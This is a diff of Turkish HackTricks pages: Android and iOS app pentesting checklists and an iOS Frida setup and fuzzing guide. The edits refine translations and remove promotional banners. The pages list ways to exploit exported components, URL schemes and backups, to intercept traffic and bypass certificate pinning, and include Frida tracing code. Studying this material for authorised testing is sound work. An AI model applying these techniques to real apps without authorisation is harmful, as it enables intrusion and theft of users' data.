* [ ] [firebase ](android-app-pentesting/#firebase)API'lerine özel dikkat. * [ ] [firebase ](android-app-pentesting/#firebase)API'lerine özel dikkat.
* [ ] [Manifesti okuyun:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) * [ ] [Manifesti okuyun:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] Uygulamanın debug modunda olup olmadığını kontrol edin ve "istismar" etmeye çalışın. * [ ] Uygulamanın hata ayıklama modunda olup olmadığını kontrol edin ve "istismar" etmeye çalışın.
* [ ] APK'nın yedeklemelere izin verip vermediğini kontrol edin. * [ ] APK'nın yedeklemelere izin verip vermediğini kontrol edin.
* [ ] Dışa Aktarılan Aktiviteler * [ ] Dışa Aktarılan Aktiviteler
* [ ] İçerik Sağlayıcıları * [ ] İçerik Sağlayıcıları
@ -54,20 +46,20 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* [ ] Yayıncı Alıcıları * [ ] Yayıncı Alıcıları
* [ ] URL Şemaları * [ ] URL Şemaları
* [ ] Uygulama [verileri güvensiz bir şekilde iç veya dışa kaydediyor mu](android-app-pentesting/#insecure-data-storage)? * [ ] Uygulama [verileri güvensiz bir şekilde iç veya dışa kaydediyor mu](android-app-pentesting/#insecure-data-storage)?
* [ ] [diskte sabit kodlanmış veya kaydedilmiş bir şifre var mı](android-app-pentesting/#poorkeymanagementprocesses)? Uygulama [güvensiz şifreleme algoritmaları mı kullanıyor](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)? * [ ] Herhangi bir [şifre sabit kodlanmış mı veya diske kaydedilmiş mi](android-app-pentesting/#poorkeymanagementprocesses)? Uygulama [güvensiz şifreleme algoritmaları mı kullanıyor](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] Tüm kütüphaneler PIE bayrağı kullanılarak mı derlendi? * [ ] Tüm kütüphaneler PIE bayrağı kullanılarak mı derlendi?
* [ ] Bu aşamada size çok yardımcı olabilecek bir dizi [statik Android Analizörü](android-app-pentesting/#automatic-analysis) olduğunu unutmayın. * [ ] Bu aşamada size çok yardımcı olabilecek bir dizi [statik Android Analizörü](android-app-pentesting/#automatic-analysis) olduğunu unutmayın.
### [Dinamik Analiz](android-app-pentesting/#dynamic-analysis) ### [Dinamik Analiz](android-app-pentesting/#dynamic-analysis)
* [ ] Ortamı hazırlayın ([çevrimiçi](android-app-pentesting/#online-dynamic-analysis), [yerel VM veya fiziksel](android-app-pentesting/#local-dynamic-analysis)) * [ ] Ortamı hazırlayın ([çevrimiçi](android-app-pentesting/#online-dynamic-analysis), [yerel VM veya fiziksel](android-app-pentesting/#local-dynamic-analysis))
* [ ] Herhangi bir [istenmeyen veri sızıntısı](android-app-pentesting/#unintended-data-leakage) var mı (loglama, kopyala/yapıştır, çökme logları)? * [ ] Herhangi bir [istenmeyen veri sızıntısı](android-app-pentesting/#unintended-data-leakage) var mı (günlükleme, kopyala/yapıştır, çökme günlükleri)?
* [ ] [Gizli bilgilerin SQLite veritabanlarında kaydedilmesi](android-app-pentesting/#sqlite-dbs)? * [ ] [Gizli bilgilerin SQLite veritabanlarında kaydedilmesi](android-app-pentesting/#sqlite-dbs)?
* [ ] [İstismar edilebilir dışa aktarılan Aktiviteler](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)? * [ ] [İstismar edilebilir dışa aktarılan Aktiviteler](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
* [ ] [İstismar edilebilir İçerik Sağlayıcıları](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)? * [ ] [İstismar edilebilir İçerik Sağlayıcıları](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
* [ ] [İstismar edilebilir açık Servisler](android-app-pentesting/#exploiting-services)? * [ ] [İstismar edilebilir açık Hizmetler](android-app-pentesting/#exploiting-services)?
* [ ] [İstismar edilebilir Yayıncı Alıcıları](android-app-pentesting/#exploiting-broadcast-receivers)? * [ ] [İstismar edilebilir Yayıncı Alıcıları](android-app-pentesting/#exploiting-broadcast-receivers)?
* [ ] Uygulama [bilgileri düz metin olarak iletiyor mu/zayıf algoritmalar mı kullanıyor](android-app-pentesting/#insufficient-transport-layer-protection)? Bir MitM mümkün mü? * [ ] Uygulama [bilgileri düz metin olarak mı iletiyor/güçsüz algoritmalar mı kullanıyor](android-app-pentesting/#insufficient-transport-layer-protection)? Bir MitM mümkün mü?
* [ ] [HTTP/HTTPS trafiğini inceleyin](android-app-pentesting/#inspecting-http-traffic) * [ ] [HTTP/HTTPS trafiğini inceleyin](android-app-pentesting/#inspecting-http-traffic)
* [ ] Bu gerçekten önemlidir, çünkü HTTP trafiğini yakalayabilirseniz, yaygın Web güvenlik açıklarını arayabilirsiniz (Hacktricks'in Web güvenlik açıkları hakkında çok fazla bilgisi var). * [ ] Bu gerçekten önemlidir, çünkü HTTP trafiğini yakalayabilirseniz, yaygın Web güvenlik açıklarını arayabilirsiniz (Hacktricks'in Web güvenlik açıkları hakkında çok fazla bilgisi var).
* [ ] Olası [Android İstemci Tarafı Enjeksiyonlarını](android-app-pentesting/#android-client-side-injections-and-others) kontrol edin (muhtemelen bazı statik kod analizi burada yardımcı olacaktır). * [ ] Olası [Android İstemci Tarafı Enjeksiyonlarını](android-app-pentesting/#android-client-side-injections-and-others) kontrol edin (muhtemelen bazı statik kod analizi burada yardımcı olacaktır).
@ -75,25 +67,18 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
### Bazı obfuscation/Deobfuscation bilgileri ### Bazı obfuscation/Deobfuscation bilgileri
* [ ] [Burayı okuyun](android-app-pentesting/#obfuscating-deobfuscating-code) * [ ] [Buradan okuyun](android-app-pentesting/#obfuscating-deobfuscating-code)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.** * **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -1,4 +1,4 @@
# iOS Pentesting Checklist # iOS Pentesting Kontrol Listesi
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
@ -9,28 +9,20 @@ Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Hazırlık ### Hazırlık
* [ ] [**iOS Temelleri**](ios-pentesting/ios-basics.md) okuyun * [ ] [**iOS Temelleri**](ios-pentesting/ios-basics.md) okuyun
@ -45,7 +37,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) yanlış yapılandırma. * [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) yanlış yapılandırma.
* [ ] [**Realm veritabanları**](ios-pentesting/#realm-databases) hassas bilgileri depolayabilir. * [ ] [**Realm veritabanları**](ios-pentesting/#realm-databases) hassas bilgileri depolayabilir.
* [ ] [**Couchbase Lite veritabanları**](ios-pentesting/#couchbase-lite-databases) hassas bilgileri depolayabilir. * [ ] [**Couchbase Lite veritabanları**](ios-pentesting/#couchbase-lite-databases) hassas bilgileri depolayabilir.
* [ ] [**Binary çerezler**](ios-pentesting/#cookies) hassas bilgileri depolayabilir. * [ ] [**İkili çerezler**](ios-pentesting/#cookies) hassas bilgileri depolayabilir.
* [ ] [**Önbellek verileri**](ios-pentesting/#cache) hassas bilgileri depolayabilir. * [ ] [**Önbellek verileri**](ios-pentesting/#cache) hassas bilgileri depolayabilir.
* [ ] [**Otomatik anlık görüntüler**](ios-pentesting/#snapshots) görsel hassas bilgileri kaydedebilir. * [ ] [**Otomatik anlık görüntüler**](ios-pentesting/#snapshots) görsel hassas bilgileri kaydedebilir.
* [ ] [**Anahtar zinciri**](ios-pentesting/#keychain) genellikle telefonun yeniden satılması durumunda bırakılabilecek hassas bilgileri depolamak için kullanılır. * [ ] [**Anahtar zinciri**](ios-pentesting/#keychain) genellikle telefonun yeniden satılması durumunda bırakılabilecek hassas bilgileri depolamak için kullanılır.
@ -63,7 +55,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
### Yedeklemeler ### Yedeklemeler
* [ ] [**Yedeklemeler**](ios-pentesting/#backups) dosya sisteminde kaydedilen **hassas bilgilere erişmek için** kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin). * [ ] [**Yedeklemeler**](ios-pentesting/#backups) dosya sisteminde kaydedilen **hassas bilgilere erişmek için** kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin).
* [ ] Ayrıca, [**yedeklemeler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını **değiştirmek için** kullanılabilir, ardından yedeği telefona **geri yükleyin** ve **değiştirilmiş yapılandırma** **yüklenirse** bazı (güvenlik) **işlevsellik** **atlatılabilir.** * [ ] Ayrıca, [**yedeklemeler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını **değiştirmek için** kullanılabilir, ardından yedeği telefona **geri yükleyin** ve **değiştirilmiş yapılandırma** **yüklenirken** bazı (güvenlik) **işlevsellik** **atlatılabilir.**
### **Uygulama Belleği** ### **Uygulama Belleği**
@ -87,13 +79,13 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* [ ] Uygulamanın **herhangi bir protokol/şemayı kaydedip kaydetmediğini** kontrol edin. * [ ] Uygulamanın **herhangi bir protokol/şemayı kaydedip kaydetmediğini** kontrol edin.
* [ ] Uygulamanın **herhangi bir protokol/şemayı kullanmak için kaydedilip kaydedilmediğini** kontrol edin. * [ ] Uygulamanın **herhangi bir protokol/şemayı kullanmak için kaydedilip kaydedilmediğini** kontrol edin.
* [ ] Uygulamanın **özel şemadan herhangi bir türde hassas bilgi almayı bekleyip beklemediğini** kontrol edin; bu bilgi, aynı şemayı kaydeden başka bir uygulama tarafından **yakalanabilir.** * [ ] Uygulamanın **özel şemadan herhangi bir türde hassas bilgi almayı bekleyip beklemediğini** kontrol edin; bu bilgi, aynı şemayı kaydeden başka bir uygulama tarafından **yakalanabilir.**
* [ ] Uygulamanın **özel şema aracılığıyla kullanıcı girişini kontrol edip temizlemediğini** ve bazı **açıkların istismar edilebileceğini** kontrol edin. * [ ] Uygulamanın **özel şema aracılığıyla kullanıcı girişlerini kontrol edip temizlemediğini** ve bazı **açıkların istismar edilebileceğini** kontrol edin.
* [ ] Uygulamanın **özel şema aracılığıyla herhangi bir hassas eylemi** çağırıp çağırmadığını kontrol edin. * [ ] Uygulamanın **herhangi bir hassas eylemi** özel şema aracılığıyla her yerden çağrılabilir şekilde **açıkça sunduğunu** kontrol edin.
* [**Evrensel Bağlantılar**](ios-pentesting/#universal-links) * [**Evrensel Bağlantılar**](ios-pentesting/#universal-links)
* [ ] Uygulamanın **herhangi bir evrensel protokol/şemayı kaydedip kaydetmediğini** kontrol edin. * [ ] Uygulamanın **herhangi bir evrensel protokol/şemayı kaydedip kaydetmediğini** kontrol edin.
* [ ] `apple-app-site-association` dosyasını kontrol edin. * [ ] `apple-app-site-association` dosyasını kontrol edin.
* [ ] Uygulamanın **özel şema aracılığıyla kullanıcı girişini kontrol edip temizlemediğini** ve bazı **açıkların istismar edilebileceğini** kontrol edin. * [ ] Uygulamanın **özel şema aracılığıyla kullanıcı girişlerini kontrol edip temizlemediğini** ve bazı **açıkların istismar edilebileceğini** kontrol edin.
* [ ] Uygulamanın **özel şema aracılığıyla herhangi bir hassas eylemi** çağırıp çağırmadığını kontrol edin. * [ ] Uygulamanın **herhangi bir hassas eylemi** özel şema aracılığıyla her yerden çağrılabilir şekilde **açıkça sunduğunu** kontrol edin.
* [**UIActivity Paylaşımı**](ios-pentesting/ios-uiactivity-sharing.md) * [**UIActivity Paylaşımı**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] Uygulamanın UIActivities alıp almadığını ve özel olarak hazırlanmış bir etkinlikle herhangi bir açığı istismar etmenin mümkün olup olmadığını kontrol edin. * [ ] Uygulamanın UIActivities alıp almadığını ve özel olarak hazırlanmış bir etkinlikle herhangi bir açığı istismar etmenin mümkün olup olmadığını kontrol edin.
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) * [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
@ -106,35 +98,29 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* [ ] Hangi tür web görünümlerinin kullanıldığını kontrol edin. * [ ] Hangi tür web görünümlerinin kullanıldığını kontrol edin.
* [ ] **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumunu kontrol edin. * [ ] **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumunu kontrol edin.
* [ ] Web görünümünün **file://** protokolü ile **yerel dosyalara erişip erişemediğini** kontrol edin (**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`**). * [ ] Web görünümünün **file://** protokolü ile **yerel dosyalara erişip erişemediğini** kontrol edin (**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`**).
* [ ] Javascript'in **Native** **metotlara** (`JSContext`, `postMessage`) erişip erişemediğini kontrol edin. * [ ] Javascript'in **Yerel** **metotlara** (`JSContext`, `postMessage`) erişip erişemediğini kontrol edin.
### Ağ İletişimi ### Ağ İletişimi
* [ ] [**İletişime MitM uygulayın**](ios-pentesting/#network-communication) ve web açıklarını arayın. * [ ] [**İletişime MitM uygulayın**](ios-pentesting/#network-communication) ve web açıklarını arayın.
* [ ] [**sertifikanın ana bilgisayar adı**](ios-pentesting/#hostname-check) kontrol ediliyor mu kontrol edin. * [ ] [**sertifikanın ana bilgisayar adının**](ios-pentesting/#hostname-check) kontrol edilip edilmediğini kontrol edin.
* [ ] [**Sertifika Pinning'i**](ios-pentesting/#certificate-pinning) kontrol edin/atlatın. * [ ] [**Sertifika Pinleme**](ios-pentesting/#certificate-pinning) kontrol edin/atlatın.
### **Diğer** ### **Diğer**
* [ ] [**otomatik yamanın/güncellemelerin**](ios-pentesting/#hot-patching-enforced-updateing) mekanizmalarını kontrol edin. * [ ] [**otomatik yamanın/güncellemelerin**](ios-pentesting/#hot-patching-enforced-updateing) mekanizmalarını kontrol edin.
* [ ] [**kötü niyetli üçüncü taraf kütüphaneleri**](ios-pentesting/#third-parties) kontrol edin. * [ ] [**kötü niyetli üçüncü taraf kütüphaneleri**](ios-pentesting/#third-parties) kontrol edin.
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -1,37 +1,23 @@
# iOS Frida Konfigürasyonu # iOS Frida Konfigürasyonu
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edildiğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Frida Kurulumu ## Frida Kurulumu
**Jailbroken bir cihazda Frida'yı kurmak için adımlar:** **Jailbroken bir cihazda Frida kurmak için adımlar:**
1. Cydia/Sileo uygulamasınıın. 1. Cydia/Sileo uygulamasınıın.
2. Yönet -> Kaynaklar -> Düzenle -> Ekle'ye gidin. 2. Yönet -> Kaynaklar -> Düzenle -> Ekle'ye gidin.
@ -39,14 +25,14 @@ Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
4. Yeni eklenen Frida kaynağına gidin. 4. Yeni eklenen Frida kaynağına gidin.
5. Frida paketini kurun. 5. Frida paketini kurun.
**Corellium** kullanıyorsanız, Frida sürümünü [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) adresinden indirmeniz gerekecek (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) ve unpack edip Frida'nın istediği dylib konumuna kopyalamanız gerekecek, örneğin: `/Users/[youruser]/.cache/frida/gadget-ios.dylib` Eğer **Corellium** kullanıyorsanız, Frida sürümünü [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) adresinden indirmeniz gerekecek (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) ve unpack edip Frida'nın istediği dylib konumuna kopyalamanız gerekecek, örneğin: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
Kurulduktan sonra, PC'nizde **`frida-ls-devices`** komutunu kullanarak cihazın görünüp görünmediğini kontrol edebilirsiniz (PC'nizin ona erişebilmesi gerekir).\ Kurulduktan sonra, PC'nizde **`frida-ls-devices`** komutunu kullanarak cihazın görünüp görünmediğini kontrol edebilirsiniz (PC'nizin ona erişebilmesi gerekir).\
Ayrıca telefonun çalışan süreçlerini kontrol etmek için **`frida-ps -Uia`** komutunu da çalıştırın. Ayrıca telefonun çalışan süreçlerini kontrol etmek için **`frida-ps -Uia`** komutunu da çalıştırın.
## Jailbroken cihaz olmadan ve uygulamayı yamanmadan Frida ## Jailbroken cihaz olmadan ve uygulamayı patchlemeden Frida
Uygulamayı yamanmadan jailbreak yapılmamış cihazlarda Frida'nın nasıl kullanılacağı hakkında bu blog yazısını kontrol edin: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) Uygulamayı patchlemeden jailbreak yapılmamış cihazlarda Frida nasıl kullanılacağını anlatan bu blog yazısını kontrol edin: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
## Frida İstemci Kurulumu ## Frida İstemci Kurulumu
@ -206,7 +192,7 @@ Stalker.flush(); // this is important to get all events
}); });
``` ```
{% hint style="danger" %} {% hint style="danger" %}
Bu, hata ayıklama amaçları açısından ilginçtir ancak fuzzing için sürekli **`.follow()`** ve **`.unfollow()`** kullanmak çok verimsizdir. Bu, hata ayıklama açısından ilginçtir ancak fuzzing için sürekli **`.follow()`** ve **`.unfollow()`** yapmak çok verimsizdir.
{% endhint %} {% endhint %}
## [Fpicker](https://github.com/ttdennis/fpicker) ## [Fpicker](https://github.com/ttdennis/fpicker)
@ -335,7 +321,7 @@ Bunu önlemek için, örneğin, her Frida çökmesinden sonra uygulamayı yenide
**macOS konsolunu** veya **`log`** cli'yi kontrol ederek macOS günlüklerini kontrol edebilirsiniz.\ **macOS konsolunu** veya **`log`** cli'yi kontrol ederek macOS günlüklerini kontrol edebilirsiniz.\
Ayrıca **`idevicesyslog`** kullanarak iOS günlüklerini de kontrol edebilirsiniz.\ Ayrıca **`idevicesyslog`** kullanarak iOS günlüklerini de kontrol edebilirsiniz.\
Bazı günlükler, bilgi ekleyerek **`<private>`** ifadesini gizleyebilir. Tüm bilgileri göstermek için, o özel bilgiyi etkinleştirmek üzere [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) adresinden bazı profilleri yüklemeniz gerekir. Bazı günlükler, bilgileri **`<private>`** ekleyerek gizleyebilir. Tüm bilgileri göstermek için, o özel bilgileri etkinleştirmek üzere [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) adresinden bazı profilleri yüklemeniz gerekir.
Ne yapacağınızı bilmiyorsanız: Ne yapacağınızı bilmiyorsanız:
```sh ```sh
@ -374,17 +360,6 @@ iOS yalnızca aynı uygulamanın 25 çökmesini saklar, bu nedenle bunu temizlem
